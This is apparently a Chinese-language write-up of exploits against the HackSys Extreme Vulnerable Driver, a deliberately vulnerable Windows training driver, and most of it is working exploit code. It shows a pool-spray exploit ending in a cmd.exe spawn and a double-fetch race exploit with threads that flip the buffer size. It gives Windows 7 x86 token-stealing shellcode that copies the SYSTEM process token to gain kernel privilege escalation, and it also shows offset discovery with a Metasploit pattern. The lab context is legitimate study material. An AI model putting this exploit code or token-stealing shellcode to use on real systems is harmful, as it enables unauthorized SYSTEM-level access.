
##include <stdio.h>
##include <windows.h>
VOID shellCode();
static VOID CreateCmd();
int main()
{
    HANDLE Event_OBJECT[0x1000];

    DWORD bReturn = 0;
    char buf[4] = {0};
    // char lpName[0xf0] = { 0 };
    WCHAR lpName[0xf0 / 2] = {0}; // 一个Unicode是2个字节
    memset(lpName, '\x41', sizeof(lpName));
    *(PDWORD32)(buf) = 0xBAD0B0B0 + 1; // 为了不等于0xBAD0B0B0
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);

    printf("lpName is in 0x%p\n", lpName);
    for (int i = 0; i < 256; i++)
    {
        //**************构造池块**************
        *(PDWORD)((char *)lpName + 0x4) = (DWORD)&shellCode; 
        *(PDWORD)((char *)lpName + 0xf0 - 1) = i;
        Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, lpName);
        //**************构造池块**************
    }

    for (int i = 0; i < 256; i++)
    {
        CloseHandle(Event_OBJECT[i]); // 将创建的池块释放,释放的池块就为我们构造的shellcode地址
    }

    DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
    CreateCmd();
    return 0;
}

12.TriggerDoubleFetch

条件竞争漏洞

在多线程访问临界区的情况下,使用进程互斥可以使多个线程不能同时访问操作关键区的变量,条件竞争漏洞就源于没有对可能会被多个线程访问的变量进行保护,导致多重访问使得在一次操作中,操作的值在中间发生了变化。

漏洞分析

直接看源码,安全操作和含漏洞的代码区别在于:

安全的代码使用局部变量保存了用户传来的值,而不安全版本直接从用户内存去读取这个值

如果用户内存的这个结构的值是变化的,当校验的时候,Size合法,当复制的时候Size不合法,则可能造成缓冲区栈溢出

##ifdef SECURE
    UserBuffer = UserDoubleFetch->Buffer;
    UserBufferSize = UserDoubleFetch->Size;

    ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG) __alignof(UCHAR));

    if (UserBufferSize > sizeof(KernelBuffer))
    {

        Status = STATUS_INVALID_PARAMETER;
        return Status;
    }

    RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);
##else
    UserBuffer = UserDoubleFetch->Buffer;
    UserBufferSize = UserDoubleFetch->Size;

    ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG) __alignof(UCHAR));

    if (UserDoubleFetch->Size > sizeof(KernelBuffer))
    {

        Status = STATUS_INVALID_PARAMETER;
        return Status;
    }
    RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);
##endif

一个线程用来发起正常请求,一个线程用来修改Size大小:

DWORD WINAPI FlippingThread() {
    while (TRUE) {
        UserBuffer->Size = 0x900;
    }
}

DWORD WINAPI RacingThread() {
    while (TRUE) {
        ULONG WriteRet = 0;
        UserBuffer->Size = 0x100;
        DeviceIoControl(hDevice, 0x222037, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
    }
}

确定偏移:

const char *randomSeries = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7";
int main()
{
	PVOID EopPayload = &TokenStealingPayloadWin7;
	hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
	UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
	UserBuffer->Buffer = (ULONG_PTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900);
	RtlCopyMemory((void *)UserBuffer->Buffer, randomSeries, 0x900);

	HANDLE hThreadRacing[10] = {0};
	HANDLE hThreadFlipping[10] = {0};
	for (size_t i = 0; i < 10; i++)
	{
		hThreadRacing[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RacingThread, NULL, CREATE_SUSPENDED, 0);
		hThreadFlipping[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FlippingThread, NULL, CREATE_SUSPENDED, 0);

		// 设置优先级可以提升线程抢占到CPU的频率,更有机会执行到shellcode
		SetThreadPriority(hThreadRacing[i], THREAD_PRIORITY_HIGHEST);
		SetThreadPriority(hThreadFlipping[i], THREAD_PRIORITY_HIGHEST);

		ResumeThread(hThreadRacing[i]);
		ResumeThread(hThreadFlipping[i]);
	}

	if (WaitForMultipleObjects(10, hThreadRacing, TRUE, 60000))
	{
		for (size_t i = 0; i < 10; i++)
		{
			TerminateThread(hThreadRacing[i], 0);
			CloseHandle(hThreadRacing[i]);
			TerminateThread(hThreadFlipping[i], 0);
			CloseHandle(hThreadFlipping[i]);
		}
	}

	HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer->Buffer);
	HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
	UserBuffer = NULL;

	system("pause");
	system("cmd.exe");

	return 0;
}

偏移:

┌──(kalikali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -q 72433372 
[*] Exact match at offset 2080

之后根据偏移去覆盖ret地址就可以了

EXP

##include <iostream>
##include <Windows.h>
##include <Psapi.h>

// Windows 7 SP1 x86 Offsets
##define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
##define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
##define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
##define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
##define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
##define SYSTEM_PID         0x004  // SYSTEM Process PID

typedef struct _UserObject {
	ULONG_PTR Buffer;
	ULONG Size;
}UserObject, *PUserObject;

HANDLE hDevice = NULL;
ULONG UserBufferSize = sizeof(UserObject);
PUserObject UserBuffer = { 0 };

VOID TokenStealingPayloadWin7() {
	// Importance of Kernel Recovery
	__asm {
		pushad

		; 获取当前进程EPROCESS
		xor eax, eax
		mov eax, fs: [eax + KTHREAD_OFFSET]
		mov eax, [eax + EPROCESS_OFFSET]
		mov ecx, eax

		; 搜索system进程EPROCESS
		mov edx, SYSTEM_PID
		SearchSystemPID :
		mov eax, [eax + FLINK_OFFSET]
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx
			jne SearchSystemPID

			; token窃取
			mov edx, [eax + TOKEN_OFFSET]
			mov[ecx + TOKEN_OFFSET], edx

			; 环境还原 + 返回
			popad
			xor eax, eax
			add esp, 12
			pop ebp
			ret 8
	}
}

DWORD WINAPI FlippingThread() {
	while (TRUE) {
		UserBuffer->Size = 0x824 + 4;
	}
}

DWORD WINAPI RacingThread() {
	while (TRUE) {
		ULONG WriteRet = 0;
		UserBuffer->Size = 0x200;
		DeviceIoControl(hDevice, 0x222037, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
	}
}

int main()
{
	PVOID EopPayload = &TokenStealingPayloadWin7;
	hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
	UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
	UserBuffer->Buffer = (ULONG_PTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900);
	*(PULONG)(UserBuffer->Buffer + 0x824) = (ULONG)EopPayload;

	HANDLE hThreadRacing[10] = { 0 };
	HANDLE hThreadFlipping[10] = { 0 };
	for (size_t i = 0; i < 10; i++)
	{
		hThreadRacing[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RacingThread, NULL, CREATE_SUSPENDED, 0);
		hThreadFlipping[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FlippingThread, NULL, CREATE_SUSPENDED, 0);

		// 设置优先级可以提升线程抢占到CPU的频率,更有机会执行到shellcode
		SetThreadPriority(hThreadRacing[i], THREAD_PRIORITY_HIGHEST);
		SetThreadPriority(hThreadFlipping[i], THREAD_PRIORITY_HIGHEST);

		ResumeThread(hThreadRacing[i]);
		ResumeThread(hThreadFlipping[i]);
	}

	if (WaitForMultipleObjects(10, hThreadRacing, TRUE, 60000)) {
		for (size_t i = 0; i < 10; i++)
		{
			TerminateThread(hThreadRacing[i], 0);
			CloseHandle(hThreadRacing[i]);
			TerminateThread(hThreadFlipping[i], 0);
			CloseHandle(hThreadFlipping[i]);
		}
	}

	HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer->Buffer);
	HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
	UserBuffer = NULL;

	system("cmd.exe");

	return 0;
}

TIPS

参考

VOID TokenStealingPayloadWin7()
{
    // Importance of Kernel Recovery
    __asm {
		pushad
		xor eax, eax
		mov eax, fs: [eax + 124h]
		mov eax, [eax + 050h]
		mov ecx, eax
		mov edx, 4
		SearchSystemPID:
		mov eax, [eax + 0b8h]
			sub eax, 0b8h
			cmp[eax + 0b4h], edx
			jne SearchSystemPID

			mov edx, [eax + 0f8h]
			mov[ecx + 0f8h], edx
			popad
			xor eax, eax
			add esp, 12
			pop ebp
			ret 8
    }
}
VOID CreateCmd()
{
    STARTUPINFO si = {sizeof(si)};
    PROCESS_INFORMATION pi = {0};
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = {L"cmd.exe"};
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn)
        CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

static VOID ShellCode()
{
    _asm
    {
        // int 3
		pop edi
		pop esi
		pop ebx
		pushad
		mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
		mov eax, [eax + 0x50] // Find the _EPROCESS structure
		mov ecx, eax
		mov edx, 4 

		find_sys_pid :
					 mov eax, [eax + 0xb8] 
					 sub eax, 0xb8
					 cmp[eax + 0xb4], edx 
					 jnz find_sys_pid

					 mov edx, [eax + 0xf8]
					 mov[ecx + 0xf8], edx
					 popad
					 ret
    }
}
0%